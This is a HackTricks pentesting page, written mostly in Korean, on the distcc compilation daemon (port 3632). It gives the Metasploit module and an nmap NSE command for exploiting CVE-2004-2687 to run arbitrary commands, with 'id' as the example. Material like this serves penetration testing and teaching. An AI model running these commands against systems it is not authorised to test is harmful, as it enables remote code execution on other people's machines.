{% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} # κΈ°λ³Έ 정보 **Distcc**λŠ” λ„€νŠΈμ›Œν¬μ˜ λ‹€λ₯Έ μ»΄ν“¨ν„°μ˜ **유휴 처리 λŠ₯λ ₯**을 ν™œμš©ν•˜μ—¬ **컴파일 ν”„λ‘œμ„ΈμŠ€**λ₯Ό ν–₯μƒμ‹œν‚€λŠ” λ„κ΅¬μž…λ‹ˆλ‹€. **distcc**κ°€ 머신에 μ„€μ •λ˜λ©΄, 이 머신은 λ‹€λ₯Έ μ‹œμŠ€ν…œμ— **컴파일 μž‘μ—…**을 λΆ„λ°°ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이 μˆ˜μ‹  μ‹œμŠ€ν…œμ€ **distccd 데λͺ¬**이 μ‹€ν–‰ 쀑이어야 ν•˜λ©°, μ „μ†‘λœ μ½”λ“œλ₯Ό μ²˜λ¦¬ν•  수 μžˆλŠ” **ν˜Έν™˜ κ°€λŠ₯ν•œ 컴파일러**κ°€ μ„€μΉ˜λ˜μ–΄ μžˆμ–΄μ•Ό ν•©λ‹ˆλ‹€. **κΈ°λ³Έ 포트:** 3632 ``` PORT STATE SERVICE 3632/tcp open distccd ``` # Exploitation **CVE-2004-2687**에 μ·¨μ•½ν•œμ§€ ν™•μΈν•˜μ—¬ μž„μ˜ μ½”λ“œλ₯Ό μ‹€ν–‰ν•©λ‹ˆλ‹€: ```bash msf5 > use exploit/unix/misc/distcc_exec nmap -p 3632 --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'" ``` # Shodan _이 μ„œλΉ„μŠ€λŠ” shodan이 νƒμ§€ν•˜μ§€ μ•ŠλŠ” 것 κ°™μŠ΅λ‹ˆλ‹€._ # Resources * [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec) * [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855) Post created by **Álex B (@r1p)** {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}